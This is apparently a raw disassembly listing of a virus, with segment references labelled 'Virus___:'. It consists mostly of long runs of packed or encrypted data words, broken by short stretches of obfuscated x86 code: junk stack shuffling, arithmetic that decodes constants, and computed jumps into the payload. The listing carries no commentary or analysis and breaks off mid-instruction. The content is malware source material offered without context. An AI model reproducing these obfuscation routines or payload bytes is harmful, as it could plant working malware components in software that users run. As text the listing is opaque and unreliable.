1125FD48h, 0E171F458h, 1F3F04A8h, 0F3784C59h, 0C4A0A5Fh dd 656E945h, 872A6932h, 74E462CEh, 0DF400940h, 0F7058AE2h dd 53C0F4B5h, 32BAE2DFh, 0D17D3421h, 0E34FC494h, 20BFF666h dd 7449B3EAh, 5FFF40FBh, 2D190C19h, 0B58E226Bh, 1DEC9A2Fh dd 4D5847ABh, 32752279h, 0C79E327Bh, 0CB30A41Dh, 0E1BD056h dd 0FA695D48h, 29D55E05h, 23A4E8FDh, 982B8173h, 112DCADEh dd 1A240000h, 461DB13Ah, 30319D16h, 3D07AB20h, 293A961Dh dd 94E2A229h, 0EF64F44Fh, 0D8530343h, 0EB60F074h, 0D9520247h dd 0DA24B7FEh, 4630F7FDh, 7681D074h, 0C53A584Dh, 4E031F8Ch dd 687D3A58h, 0E474F05Ch, 2C7F346Fh, 0F34F665h, 998C32F8h dd 75E57CD0h, 94E5AFEh, 6CB5031Ch, 155h, 5B4E49C8h, 72F75BFFh dd 0D69FD6E2h, 2232339Fh, 20E27164h, 803A584Dh, 0ED32A195h dd 0B53A584Dh, 0FF5B04A0h, 49CBD26Eh, 0FF5FE14Bh, 266F4EEAh dd 2226BF8Ah, 74617432h, 4D49E440h, 337AFE5Ah, 3030C99Fh dd 0A5013520h, 831BF94Eh, 477CB7h, 49D80000h, 5BFC584Bh dd 584D33C8h, 0F3BAAF3Ah, 4DD529BAh, 5E4B3A58h, 0FF5BCE6Ah dd 78EBA7BEh, 3A584DA6h, 0BE1A0F1Ah, 546DF75Bh, 12074111h dd 0F8544107h, 0F0DEEA6Ah, 9F63F0B9h, 13A584Dh, 6842014h dd 35h, 6DF75BA2h, 1682D9EDh, 0C85B3793h, 3A584D33h, 46162C80h dd 0A7211500h, 0F75B16B2h, 9FD6E272h, 0B7A7BE3Bh, 441452FEh dd 753CD470h, 29D8CEEAh, 0DEEA2701h, 1BF94E7Ah, 337CB783h dd 0D8000000h, 0FE5A4D49h, 359C45Bh, 5AEAAF9Eh, 67B4276Eh dd 0FC3A5773h, 5431350h, 57422410h, 5BFF5BF3h, 0A7E171F7h dd 1D2A86B2h, 983C993Dh, 2A06h, 4D49A200h, 0B3F565E3h dd 5B17B3A6h, 584D33C8h, 0FE5A4F3Ah, 7D81125Bh, 0E33A584Dh dd 2F8BC2F6h, 5010A9BEh, 46534600h, 5B983CE2h, 4D7D8112h dd 0F6E33A58h, 0FEB4D6C2h, 0D69FFFFFh, 584DB945h, 879B083Ah dd 0F93A584Dh, 0AB9F8AECh, 674A490Fh, 0F14BD2Eh, 0DC4332F8h dd 32310DDDh, 0EE716422h, 0DAEEBA83h, 0A9E0A9BCh, 2A1E3E05h dd 0DA93C386h, 0A7FD5D45h, 0E3F6B0A0h, 6B17FA7Ch, 0D8FD45Fh dd 99AD39Ah, 30F7BEF5h, 34A7E6Bh, 0F7BE8E90h, 85EF230h dd 0BE7B8714h, 0F0E530F7h, 25B6F0E5h, 30F7BEDBh, 45FF3BAh dd 0ABBE1254h, 7921BEABh, 4387F8C8h, 94AED2E6h, 0E3EF94F5h dd 43D1BDh, 81750000h, 3A584D79h, 101281C8h, 703A584Eh dd 68FD5165h, 0B52A63E8h, 0C66E9107h, 497A344h, 3A57F3F7h dd 1F56595Eh, 728C1F56h, 243A57F3h, 687D3B1Bh, 0BC2F1B0Eh dd 3332D47Fh, 7165EEFBh, 0F0h, 6EF75BD5h, 89BDA8EEh, 8BC2E5D2h dd 7ADA6EC2h, 4552DD4Eh, 2AE3333h, 44DE4D41h, 0BC30FB45h dd 0E0A9BCA9h, 2FD2F84Ch, 0DE67C8D7h, 0D1981306h, 77F70B98h dd 0A3A330FAh, 0F4C0D5B3h, 0A4C0C58h, 64F6251h, 12BE9EAAh dd 79300454h, 93C39C30h, 67F4C0D5h, 299A3926h, 8BC28B9Eh dd 0B9CD51C2h, 9F333A1Ah, 0A89C89C9h, 9B104004h, 68213137h dd 5698BE21h, 0D9320FFh, 1B4A849Eh, 0DDE9FC3Ah, 0D0D3C09Bh dd 15870A99h, 60FF32BBh, 99A09E53h, 4EDD94F6h, 30FADFB4h dd 652C392Ch, 0EEDA7AC9h, 1E3E0BA7h, 1843DC95h, 0CA44DF54h dd 9F8ACA98h, 124207ABh, 0DDCAE35Eh, 76622434h, 0E03h dd 0E368E87Ah, 0D358F84Fh, 0FD76E67Fh, 0C44F0F51h, 0C87D768h dd 5EE1024Ch, 89D975FEh, 5AEE42C9h, 88DD71FAh, 2D6443C8h dd 0F7FA64BEh, 4AEEDC30h, 0E2ABABBEh, 114107ABh, 4DD14257h dd 0B33A584Dh, 78D492A6h, 3A2B6DEDh, 55A93A73h, 0CB3A584Dh dd 0CC96EADEh, 0A328283Dh, 72CD75EAh, 22AD4324h, 46054A16h dd 4B60B483h, 29000000h, 0D89EBE85h, 74E461CDh, 4A49E440h dd 0CEBD2E67h, 5333344h, 4543DF4Ch, 0A8BD30FBh dd 0A6EFFA9Ch, 0D5C66E39h, 5B6F270Eh, 0A4B4B11Dh, 1CC6832Fh dd 9ABEED59h, 2462777Ch, 3C75387Fh, 0D62364AFh, 80C9DC29h dd 7246162Ch, 0A9BE5DF9h, 0C76B22A9h, 0E42DD7Dh, 0FEAAE95Dh dd 4C1BB783h, 9C034A0Ch, 0CB9B9474h, 794A002h, 3A57DDF2h dd 370DA4A0h, 61746127h, 0AF02B1EAh, 5CFC4AE6h, 85B22168h dd 0FD32F79Fh, 733EA1E8h, 0AE74D486h, 256C2511h, 0DF99B989h dd 1352FECAh, 5B6CC843h, 4D7D8112h, 0F6E33A58h, 1C399EC2h dd 81BCB503h, 18000001h, 0FF5B4E49h, 0C85B125Bh, 3A584D36h dd 188BBFAAh, 3A584E03h, 0EB7AD69Fh, 4D26F86Bh, 8F9A3A58h dd 0FF5B3E9Ah, 49CBD26Eh, 0BD11584Bh, 0E5F0B6A6h, 0CB6F75D1h dd 60E34D49h, 0E5ACE5F0h, 584DAC76h, 3501143Ah, 7A337A91h dd 584D15E9h, 0AA9E8B3Ah, 1BF94E0Eh, 4F7CB783h, 0D8000000h dd 0E272F75Bh, 0DE85B1A4h, 7ADA6EDAh, 4D5EA033h, 0D7C23A58h dd 0F75B66C2h, 91D8EC6Ch, 0D8F174D8h, 8491D787h, 0E936A591h dd 513A584Dh, 0F75BE044h, 57075871h, 9B3F7642h, 13B7A7BEh dd 7D81125Bh, 0E33A584Dh, 48ECC2F6h, 2906h, 4B49A200h dd 125BFC58h, 0F1B7A7BEh, 59F948E4h, 0AD3E0A1Fh, 3A584D4Eh dd 5B9B3F2Ah, 0B7A7BEFFh, 431352FEh, 80241005h, 0F94E983Ch dd 7CB7831Bh, 6Fh, 71F75BD8h, 58C45D6Bh, 0FEEBB582h, 0C299ADB8h dd 309CD5D8h, 96C69C35h, 99D0C583h, 57E0F80Ah, 497D683Ah dd 0BE125BEDh, 0E5F0B6A6h, 4DBD42D1h, 30253A58h, 0CE8ED579h dd 125B5EFAh, 584D7D81h, 0C35FCC3Ah, 3D3A584Dh, 0C45B4E28h dd 2BB1CA3Ah, 7D3400A6h, 88C89834h, 3244DBCEh, 3B5AB9D3h dd 0BEA30733h, 3C0DA9A9h, 230698h, 5BA20000h, 0D4E070F7h dd 57C40B8Fh, 3A584DCBh, 91352035h, 4D33C85Bh, 5A4F3A58h dd 0BEFF5BFEh, 3C0DA9A9h, 70F75B98h, 0E83AA9E0h, 583A584Dh dd 6C6D794Dh, 0C9FFFFFEh, 2E674A49h, 0F80F14BDh, 0B6256C32h dd 30F80B6Ch, 9DD4C1D4h, 0AF243431h, 0A8E1C4F4h, 0F80BE73Bh dd 0A4C5930h, 0F80B8799h, 26363330h, 0B975CC60h, 0F80BD82Ah dd 485D4830h, 87DBA70Eh, 501950C9h, 0F80B3FC3h, 80B4A130h dd 62A762FCh, 0EFBDE356h, 65510143h, 2340h, 9DA50900h dd 812D89BDh, 3A584D79h, 0B338182Dh, 0C7A7h, 642EE00h dd 548F1056h, 12B9B45h, 45E1D5C0h, 2E674A49h, 510E02B1h dd 94A0EECBh, 77A54EDDh, 485D3332h, 47DB4801h, 0B930FAB7h dd 7DD198ACh, 66B82BE7h, 0DA30FAB7h, 0FD51DACFh, 0EAB1F767h dd 20B3FAADh, 299A797Dh, 15B9F0E5h, 0AEAEB64Fh, 63E8FDE8h dd 9FD979CFh, 0DD65CFC4h, 6821687Dh, 0EBDF7FC4h, 0BA443578h dd 0D1988D32h, 0BA29E57Dh, 30FA5E68h, 9ED8CDD8h, 0BFF6BF8Bh dd 5E9965F6h, 120730FAh, 9FBF8A26h, 0ADADB814h, 0DE8074E1h dd 11054334h, 0A63h, 43C888DAh, 73F858EFh, 5DD686DFh, 64EF6FF1h dd 6CE777C8h, 0BE81E22Ch, 0A9B9159Eh, 0BA8E22A9h, 0A8BD119Ah dd 4D0423A8h, 0F7F644DEh, 2A8EBC30h, 0EDABABBEh, 12540441h dd 90034A03h, 3A584D8Eh, 0AFD3E7F2h, 11410493h, 0E87FD39Ah dd 0F3B2E68h, 8313EE53h, 0FE521BB4h, 0A5B0F666h, 5855EC36h dd 7541543Ah, 6750h, 0B0B51900h, 5B3094A0h, 4D7D8112h dd 0F6E33A58h, 971A99C2h, 0A9D41DEh, 0C727A654h, 0E229BAF3h dd 713332D5h, 20E27138h, 8030FAD5h, 0D5FC0695h, 716430FAh dd 70362345h, 42C989DCh, 4DD1420Bh, 0B330FAD5h, 2B3E92A6h dd 81366D2Bh, 0B12E672Eh, 4AE6B88Fh, 0FD6E27BCh, 30FA5B21h dd 2DBE8A9Fh, 29D52BC2h, 4A02B3Eh, 22A9A9BEh, 584D66B1h dd 454103Ah, 0DD6AC68Fh, 1A2E3B7Dh, 165F5241h, 0F80FA985h dd 8BC2D732h, 0B53E1E27h, 421250FCh, 81251104h, 31C094Eh dd 1546CB5h, 89250000h, 0BAF9BBBh, 125B4E49h, 4D36C85Bh dd 0BFAA3A58h, 0C85B2F8Bh, 3A584D33h, 5BFE5A4Fh, 0CBD26EFFh dd 0FC584B49h, 0EC6CF75Bh, 0F68BBFAAh, 5A4D4952h, 9DC45BFEh dd 100A52C7h, 9F3B5367h, 523C45Bh, 53D21AC8h, 0ACEA6AFFh dd 60D18DB9h, 85B7840Eh, 2Eh, 584B4921h, 33C85BFCh, 0AF3A584Dh dd 13D879E6h, 0D4A2F73Fh, 584BBB47h, 9C30253Ah, 228693C3h dd 0A7BEFF5Bh, 983C13B7h, 3406h, 4B49A200h, 0C85BFC58h dd 3A584D33h, 57671F80h, 4AFF9F8Eh, 1154F87Eh, 7120741h dd 0BEFF5BA3h, 5B13B7A7h, 75DE7EC4h, 7541CAE4h, 0A8BE125Bh dd 0CFFBEEA8h, 1BF94E6Bh, 5C7CB783h, 35000000h, 0C8636FAAh dd 0D39E834h, 0D04D49A9h, 65FED626h, 39A6B3F5h, 14012B2Ch dd 72F75BB0h, 0E48085Bh, 0CD910E1Bh, 33482436h, 0CB581125h dd 3A579934h, 47172F83h, 0BAFC5CEBh, 51FD9BAFh, 990A4313h dd 3A579985h, 5FFBEEFBh, 0A9BEFF5Bh, 0F75B0DA9h, 0F4DAEE6Eh dd 200650h, 49A20000h, 5BFE5A4Dh, 584D33C8h, 0FE5A4F3Ah dd 0A7BE125Bh, 0B4B1BB7h, 0C86C584Dh, 0DA9A9BEh, 0B506983Ch dd 4FFFFFFEh, 4D899506h, 0E2F73A58h, 4DE638ABh, 4F5A3A58h dd 0F75BDF7Bh, 8ED5E171h, 7CEFA609h, 32F80F55h, 5DF1B8ADh dd 98C34808h, 5BC48D20h, 0F9E44F01h, 94074B1h, 0F7D9889Ah dd 0ABEDF830h, 0F7D9E838h, 87D79230h, 85D56DC1h, 91ADD1C3h dd 85A26BFh, 0E387C001h, 1E25BDh, 81810000h, 3A584D79h dd 0C481182Dh, 0D2C7D294h, 0B68F1059h, 0AD5D39E7h, 976E7A4Eh dd 0CA000000h, 2E674A49h, 334BE6BDh, 81C16D33h, 3F041E8Dh dd 697C30FBh, 3B2E487Ch, 0CA8ADE72h, 757ED41h, 0A9D1A41h dd 0FFF1D043h, 411299Ah, 0F363E14Dh, 0C79D3178h, 0F0C4D197h dd 0E48085Ch, 24B5E55h, 0BACB1C91h, 38716432h, 0A81D194h dd 7CEFA3A6h, 30FAD7A2h, 0A9CF8FD4h, 82E5A9BCh, 0BD34DE07h dd 73DEFFBh, 2A340000h, 360DA12Ah, 4001AD26h, 2D379B10h dd 390AA62Dh, 64D29219h, 0FF74E47Fh, 0C8431353h, 0FB70E064h dd 0C9421257h, 0EA34A7EEh, 5630F7F3h, 0ABBEC064h, 441EDABh dd 7F031254h, 0C191D4E3h, 0FB1164Ah, 3734B483h, 90000000h dd 2E674A49h, 334386BDh, 0B1F7E233h, 0AF3967F8h, 764197BCh dd 6849D142h, 344830FAh, 8FD67A2Ah, 39C89CFh, 89B815Ch dd 8DD1E510h, 0BDE0C74Ch, 41A9h, 4A490D00h, 2E672E67h dd 584D61BDh, 0FECADF3Ah, 3353926Dh, 0B58D2133h, 0BB7CE3A5h dd 85EA2063h, 84E2D6C3h, 0EE7BD791h, 0FC49E56Eh, 0FF531A5Ch dd 0A4B1F767h, 0D9CCCB90h, 2F840390h, 0E9FC29D6h, 0F75BC662h dd 4FD9ED6Dh, 11605777h, 584D8082h, 0E0F5E03Ah, 3AA9E0A9h dd 3A584DE8h, 0EA794D58h, 33332049h, 804A15B9h, 0D0809A73h dd 0FEB8ADDEh, 0DF96FEEBh, 0F9F90596h, 726730FAh, 0B2ECD546h dd 6A29F0ACh, 0EE9D0E47h, 0A6A0826h, 9502591Fh, 0FEB898ABh dd 0C46A74EBh, 446A2741h, 0C2511851h, 79E1D440h, 0D5021C8Fh dd 6B7E79E1h, 0C251180Dh, 79E1D440h, 0C881B5A0h, 0BC9DB65Bh dd 125B4E72h, 20ABABBEh, 0D599B98Ch, 0F4ABD17Ch, 0ECD1C583h dd 65000005h, 5EF279D9h, 6EC24909h, 0A00C87D7h, 973BB0A0h dd 47078CCCh, 757E8F9h, 3222208Ch, 0F4F15B9h, 3D1D2884h dd 4BD891B6h, 30F7F2B7h, 5BBF1B29h, 85B72F7h, 0E1B0E48h dd 0C5695D48h, 3A96D080h, 0FBA02B2Bh, 33A0E9BCh, 32F80F92h dd 665F42DDh, 11EB7C98h, 10564325h, 7F831059h, 1830F76Ah dd 6889DC6Ah, 76630593h, 757EE42h, 0E094184Bh dd 594D0B34h, 573h, 73F858EAh, 43C888DFh, 8D0656EFh, 0B43F1F21h dd 9C174718h, 0EE7172DCh, 0F949E56Eh, 0EA7ED259h, 0F84DE16Ah dd 0BDF4D358h, 0F7F1D42Eh, 0DA7E4C30h, 2E674A49h, 0D492C282h dd 0F5BCF5C1h, 4DD32FBCh, 584D3A58h, 0EC2FF6Ch, 2F3A32F8h dd 2FBF2069h, 0A0E89670h, 2336263Ch, 0AAAABB17h, 0E0979DE6h dd 0C8DC9A34h, 50Bh, 9B104002h, 0AB203037h, 951E3E07h dd 0BC372739h, 840F4F10h, 0D6697AC4h, 0A1A10D86h, 0D2963AB1h dd 0A0A50982h, 551C3BB0h, 0F7F13CC6h, 3296A430h, 2E674A49h dd 0F80EECBDh, 17514432h, 0E6AAAABBh, 34E0D3C7h, 0C0C2D690h dd 0B9000004h, 923EB5A5h, 0A20E85D5h, 9438B3A3h, 0AB078CCCh dd 7333B898h, 0D383DC05h, 0EE6EF458h, 0DB7BC965h, 0E969FC50h dd 9F0C4562h, 30F7F083h, 0BE6BCFFDh, 0ABE2ABABh, 584DE638h dd 7B4F5A3Ah, 8CD8743Dh, 0AB9F8ACCh, 54124207h, 0F2055925h dd 0C06CE777h, 0DA93D585h, 672B9045h, 0C2012FAEh, 0F9AC31B2h dd 33A09481h, 3A57A4ECh, 4651ED91h, 74D85303h, 8B2761F1h dd 4E159EBEh, 0BC2F6649h, 33328C57h, 1380C6D3h, 30FA9D0Bh dd 0D56FC38Ah, 71CDB185h, 0E0C53196h, 0F074D8BDh, 35715460h dd 0D5000000h, 87DE4A49h, 918491D7h, 50CC4BD8h, 11043333h dd 4A36C457h, 215D30FBh, 8A266F1Dh, 0F6089BBBh, 0A030FB4Ah dd 0C7D2B4A4h, 136AAFF3h, 0D88BBDE0h, 2F000000h, 64F7ABBEh dd 3A584D9Ah, 40061306h, 450353ECh, 0B5FC5CE9h, 4D936FFCh dd 7EC73A58h, 0EB8D98DEh, 623661FEh, 0B846CBBDh, 1C83CA8Ch dd 7A45591Eh, 63CFFBCAh, 6EFD76E6h, 3A579153h, 1F94C481h dd 0E0A6B6B3h, 0E0A9FCBBh, 1C3C05A9h, 7C74BB28h, 0D9CC3332h dd 278A0952h, 0D585C26Eh, 1B3BA8E1h, 0BA29D3D0h, 0D09E60F3h dd 17023A55h, 19504523h, 21AAAAB5h, 0DC7CC468h, 17BB8F9Ah dd 2F400C4Ch, 642B830Eh, 3613622h, 86D80000h, 72F15DD6h dd 7CC569E2h, 69FB57DCh, 75CE62E9h, 0E02E6EE5h, 1B90C083h dd 24AFAFB7h, 179CBC88h, 25AEAEBBh, 46D84B02h, 0BA30F7EFh dd 0A5BE2C88h, 0D7923EB5h, 0E462CE87h, 21FCBEFEh, 9D8825B3h dd 0B0BB47D4h, 30253A57h, 492B8F04h, 4EADED4Ah, 78039D34h dd 80B7246Dh, 0F83332BCh, 55401054h, 0B67A8013h, 501930FAh dd 0DCE868FCh, 96FB9EA0h, 0DFBDE0A7h, 0C8h, 0ABABBE7Bh dd 3708A4EDh, 0A4BF1327h, 5C61F2B4h, 8E3A5851h, 372722BBh dd 4005A922h, 860D5610h, 32F96A23h, 8E33333Ch, 4C4B109Bh dd 0B4F262E0h, 18380DA1h, 175E4B5Eh, 0D49D4F84h, 1E278B29h dd 0CE622B3Eh, 71E1627Bh, 64BE2D64h, 0DC3A559Dh, 0FDB4FDC9h dd 0AC5AD62h, 0E9DDBB10h, 135AFA45h, 0EEA8A8BFh, 0E844CFFBh dd 204B0757h, 632B837Bh, 2713125h, 56E80000h, 22218D06h dd 4C15B932h, 192B870Ch, 451EB239h, 70DE9E15h, 0EB60F073h dd 0D45FFF47h, 0E76CEC78h, 0D55EFE4Bh, 0D628BBF2h, 4A30F7EEh dd 0A5BEDC78h, 4DA87AE9h, 0B4183A58h, 0FDE8AEAEh, 18B4FDE8h dd 0B73C0848h, 0F2844E1Bh, 1AA779C2h, 0BE1A9184h, 0EDABABBEh dd 0A47EEDA4h, 1C3A584Dh, 0D4913D09h, 4DB74BD8h, 95063A58h dd 3A584D89h, 9184E2F7h, 5F540F84h, 99A9054Ch, 8DC48DB9h dd 14BA2021h, 369C73FBh, 0B7A2E4F1h, 0E5916DFEh, 1A0F3A57h dd 0DB86BD2Eh, 0F7E23332h, 0AF67F8B1h, 0EDCC06B8h, 0F00E9DA9h dd 9730FAA8h, 62F272DEh, 71182A56h, 0BDE0B910h, 1FE37039h dd 8130FAB0h, 2B2B3894h, 694C786Dh, 2Ch, 98B88C20h, 5BFFCBDEh dd 2E674A49h, 332E7EBDh, 0EA79D533h, 2D385E6Ah, 2C22F86Bh dd 1D6130FBh, 31014641h, 2F64BDE0h, 0C0000000h, 584D7A81h dd 0C9DCDB3Ah, 1DF81F80h, 8567E81Fh, 138BF41Ah, 5E6AE695h dd 0D5DF8417h, 0E1B3332h, 0F858EB47h, 149FABBEh, 0E070F15Dh dd 125B70D4h, 584D7D81h, 0C2F6E33Ah, 162E1A99h, 0B61A5346h dd 0F0E5A3B3h, 8DC48DC4h, 783E1E21h, 4D24FE6Dh, 899C3A58h dd 46C12EBDh, 2C393333h, 0B48F236Ah, 44976BF8h, 1C0930FBh dd 50AE3D09h, 3730FB44h, 0AF10F74Bh, 36BDE01Ch, 27h, 6FF75B92h dd 3C05A9EFh, 5A4F5A1Ch, 0D6E272F6h, 584DB545h, 0A4A00C3Ah dd 0DCDB80B4h, 741380C9h, 8C333333h, 49B61299h, 0BD2E674Ah dd 32F80EF4h, 5910594Ch, 85DA72C6h, 2410E753h, 169DBD88h dd 0E9AFAFBAh, 0EBA205B2h, 9730B678h, 561F0A29h, 64EF6FFAh dd 9BDD7DC8h, 99D0D3C0h, 76050106h, 87B3C8D6h, 0C89E5DCEh dd 4F5A3332h, 0DE080203h, 0C3D79134h, 87h, 7FF464FEh, 4FC494D3h dd 79F262E3h, 40CB8BD5h, 880353ECh, 0DA657EC8h, 55DF17Ah dd 0F672DE55h, 441ED66h, 0B1F8DF54h, 0F7ECE022h, 0D6724030h dd 2E674A49h, 0F80F6DBDh, 98DECB32h, 0AA213134h, 5A134306h dd 11566FF6h, 26605441h, 0D181C36Fh, 0CBE676E5h, 80C96869h dd 0C38182Ch, 8EDBEE70h, 5CE945CEh, 4E16BAFCh, 662F480Eh dd 0EEDA7ACAh, 70DCD092h, 0FD5165F5h, 0CF63E868h, 889CDA7Ah dd 3, 0BEE5412Ch, 5EF2B4A4h, 0A10D4B0Bh, 59F5B3A3h, 0A30F4909h dd 5AF6B0A0h, 0A30F4909h, 5BF7B1A1h, 0A00C4A0Ah, 0D8F5B3A3h dd 81595451h, 4C1h, 4E98300h, 5C240C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 3C0h mov [esp], ecx push edx push 1E611B70h mov edx, [esp] add esp, 4 or edx, 52A9699Dh neg edx shr edx, 2 xor edx, 2125E54Bh mov esi, edx pop edx push 3994h mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, esi mov [ecx+8], edi mov edi, [esp] add esp, 4 mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5729AF ; --------------------------------------------------------------------------- db 13h, 30h, 41h db 0F3h ; --------------------------------------------------------------------------- loc_5A0DB5: ; CODE XREF: Virus___:0059EEA4j mov eax, 96061ECh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0A17Ch ; --------------------------------------------------------------------------- loc_5A0DC0: ; CODE XREF: Virus___:005A0DE5j adc [ebx], bh inc esi imul ecx, [edx+5B004B4Ah], 3Eh sbb eax, 561C4A27h db 26h push es db 26h dec esp aaa xchg eax, ebx adc [edi], ah mov edx, 0F41548Fh ja short loc_5A0E3D mov eax, 0D27EF6E4h mov bl, 7Ah jno short loc_5A0DC0 mov dh, 0A9h sub ebp, ecx sbb eax, 0F2000000h ; CODE XREF: Virus___:005A0E47j ; --------------------------------------------------------------------------- dd 144E6Ch, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A13C9 ; --------------------------------------------------------------------------- db 5Fh, 3, 53h dd 6FEF74D8h, 59F948E4h, 76E67ED2h, 4E0E51FDh, 263B85C5h dd 1AB63D1Dh, 2B870C4Ch, 1AB63D1Dh, 0A3840F4Fh, 0EBA579EAh db 0F7h ; --------------------------------------------------------------------------- loc_5A0E3D: ; CODE XREF: Virus___:005A0DDCj xor [ebx], bl sub [ebp-12545442h], ecx movsb in eax, dx jle short near ptr loc_5A0DEB+2 dec ebp pop eax cmp bl, [ecx+ecx] cmp eax, 58ECE91h test eax, 6AF5BC9Ch int 0B9h ; used by BASIC while in interpreter sub bh, [eax] sal byte ptr ds:5EEB4701h, cl ; --------------------------------------------------------------------------- dw 0B8FEh dd 490F4F14h, 85DD7138h, 2A8693D5h, 770B3F1Fh, 0C989DCEBh dd 0FA5AEE42h, 12A73871h, 0A7DC65BFh, 83C16D59h, 5651AF59h dd 0FAEF1192h, 15451FB3h, 7BCB6721h, 48DB92DBh, 3A57C8B6h dd 4D0B3F2Ah, 0FD0C562Ah, 0D07CF767h, 1083C595h, 3A57C90Bh dd 2EB1F8B1h, 1C205ABFh, 808211AEh, 0E03A5838h, 0A1BDC1F5h dd 8325A1E6h, 8DC4B4h, 5B600000h, 4D7D8112h, 0F6E33A58h dd 7BDB6EC2h, 4D52AE3Dh, 43003A58h, 6CF95513h, 0A7DBAAECh dd 6915B59Bh, 0FCD32D5h, 0E844B483h, 0DE410757h, 0DBFD441Ah dd 695D4853h, 14Ch, 0A9BEE800h, 0A47FE0A9h, 296C0B09h dd 0BCA9A9B8h, 0CE87CE88h, 57D1C15Dh, 1E2A3F3Ah, 0E3A5B5B2h dd 0A94006AAh, 9AAEBB9Bh, 0CD972E36h, 0CBDECB8Dh, 0BE80FC8Dh dd 753C1C2Bh, 13E694EAh, 1281C740h, 3A57FE10h, 44706570h dd 0CFE663CFh, 899CDA7Ah, 0BEB3179Ch, 63FCB5A5h, 0BACF49E8h dd 0C583B7F3h, 0B51F208Ch, 54E5828Eh, 0F0C4D1C2h, 1157075Ch dd 0D7E27C00h, 0EB47CC8Ch, 0A2B6745Eh, 0A18EC41Dh, 75EF2B4h dd 5D86980Bh, 0EFFA3A57h, 22CB3FAh, 2449694Bh, 26F86B22h dd 9A3A5792h, 64FDBB8Fh, 0EE434618h, 77B483C8h, 0C1h, 1AE4773Eh dd 0A93A579Ch, 579CE83Ah, 2B4D583Ah, 0DB9DBD87h, 4BEFDBCEh dd 7D81125Bh, 293A584Dh, 4F5A3C1Ch, 468CD77Bh, 0EF7C1A45h dd 3A57C013h, 0FA07988Dh, 0A4E2F7E4h, 0C0041EDh, 57F5839Fh dd 0FDE8FD3Ah, 7CDC65C9h, 0AE024B3Ah, 0C6B43298h, 0E8F61303h dd 0A9B5C9FDh, 9E15451Eh, 68E87BD7h, 0EF6FF05Ch, 0F34CE0A9h dd 9ABA2563h, 608FD63h, 0E8447065h, 27BEF858h, 0D484C26Eh dd 0C7C29CE0h, 0B4840C72h, 64F3h, 8025BA00h, 0D4DBF7E4h dd 5B288CB8h, 0D5E171F7h, 0B92AE679h, 3A584D65h, 9DDBCEDBh dd 65233331h, 1BAEB0CCh, 0A0B0B148h, 45FF3E6h, 83CA4154h dd 0A3893C1Ch, 0EADEA8E1h, 0F5A9BE4Eh, 584D9C66h, 411043Ah dd 4D4AD142h, 0C703A58h, 0FF25732h, 0B31FB483h, 936FFCB0h dd 0D3A5859h, 1C390D18h, 1, 0B7A7BEB8h, 48085DF1h, 0C595AD01h dd 0E4A29683h, 1C55CA83h, 8E4FF35Ch, 0DA64182Ch, 6DE676CFh dd 0CE978136h, 0C8DDC88Eh, 27251281h, 485D3333h, 0C393AD01h dd 39192985h, 4B7F6A7Fh, 0B4A4A10Dh, 0DB27B4FDh, 4530FB24h dd 24839F0Ch, 0E8FD30FBh, 0EE42C9FDh, 0F4BDFB5Bh, 24D42EBDh dd 594C30FBh, 2422FE6Dh, 295530FBh, 97C78215h, 1CB5B01Ch dd 4F061343h, 0FA061DD0h, 0C48DC7A0h, 0FAEECB57h, 14203530h dd 0EB6BFE52h, 1F3F01ADh, 7F831059h, 0E130FAEEh, 490958F4h dd 0B1A1A30Fh, 0B898AAD6h, 9B89D5A9h, 0F6089BD2h, 6A30FAEEh dd 0EE12EC7Fh, 0C78E30FAh, 0FAEECA54h, 36233630h, 0BB9BAE02h dd 6F2B6C30h, 0B926BDE0h, 2231CC4h, 0EECBFF5Ah, 123h, 674A494Ah dd 2BDEBD2Eh, 0EA753333h, 0C0F9F4FEh, 0B4B140Eh, 0D24D584Dh dd 5CC9662Eh, 432511D7h, 0B1B31F56h, 7FD395A1h, 3021E0EAh dd 0AFEBD296h, 29BAF3BAh, 30FAF2D5h, 0E16A5E4Bh, 1E58F84Dh dd 0E1A7B7B2h, 27B28CF0h, 0F0B93222h, 7D49095Ch, 0E06AE021h dd 0B32069BDh, 30FAFE6Fh, 0D5F0C4D1h, 5Ch, 5C4F4971h, 5BDC8615h dd 11048891h, 4E3AC457h, 9BD2BA58h, 66203037h, 9ADC7CCAh dd 2D369A8Fh, 4A7E6B2Dh, 326A2C36h, 0EC7F367Fh, 0BA584E12h dd 0E6AF9B8Eh, 0A975E6AFh, 38BA584Eh, 584E57ABh, 0BADCC9BAh dd 4E9E60F3h, 1702BA58h, 0B9A53602h, 2708915Ch, 64ADB932h dd 9000000h, 2E674A49h, 333CE6BDh, 11574233h, 23A8A8BDh dd 8110BA8Fh, 9519678h, 3846B7A6h, 8F9A9BB3h, 3995DC9Ah dd 8C1F2B2Bh, 30FAD9DDh, 0D9CA6DAh, 0C8931838h, 291D8CBh dd 299A7CABh, 2488CEDBh, 10773121h, 8E22D26Ch, 0CBDE98B8h dd 0BCEFA4FFh, 27826AF5h, 0E9D88C65h, 0A60794DDh, 0DE32BA3Fh dd 49E440CBh, 822E674Ah, 0C5D096C6h, 0B8F1B8F1h, 584DD72Bh dd 685C493Ah, 0F7EED2FBh, 71372232h, 43C888DDh, 4435AEFh dd 12071254h, 0EF57C754h, 0EA961DE1h, 54044158h, 66F673DFh dd 0A4B48C20h, 65F985E2h, 0E471752h, 7CEFA3A2h, 2609E7A2h dd 2A1E0B1Eh, 44E8A1h, 7DC86450h, 3D7BDB64h, 327B3D28h dd 0C8B461ADh, 3F0B5D62h, 32Bh, 0E5418F00h, 0F2B4A4BEh dd 0D4B0B5Eh, 0F5B3A3A1h, 0F490959h, 0F6B0A0A3h, 0F49095Ah dd 0F7B1A1A3h, 0C4A0A5Bh, 0F5B3A3A0h, 73F568D8h, 34890000h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h ; --------------------------------------------------------------------------- mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], eax mov eax, 4505256Ch inc eax neg eax shl eax, 8 xor eax, 1A37F20h sub eax, 0F219893Fh mov edi, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop 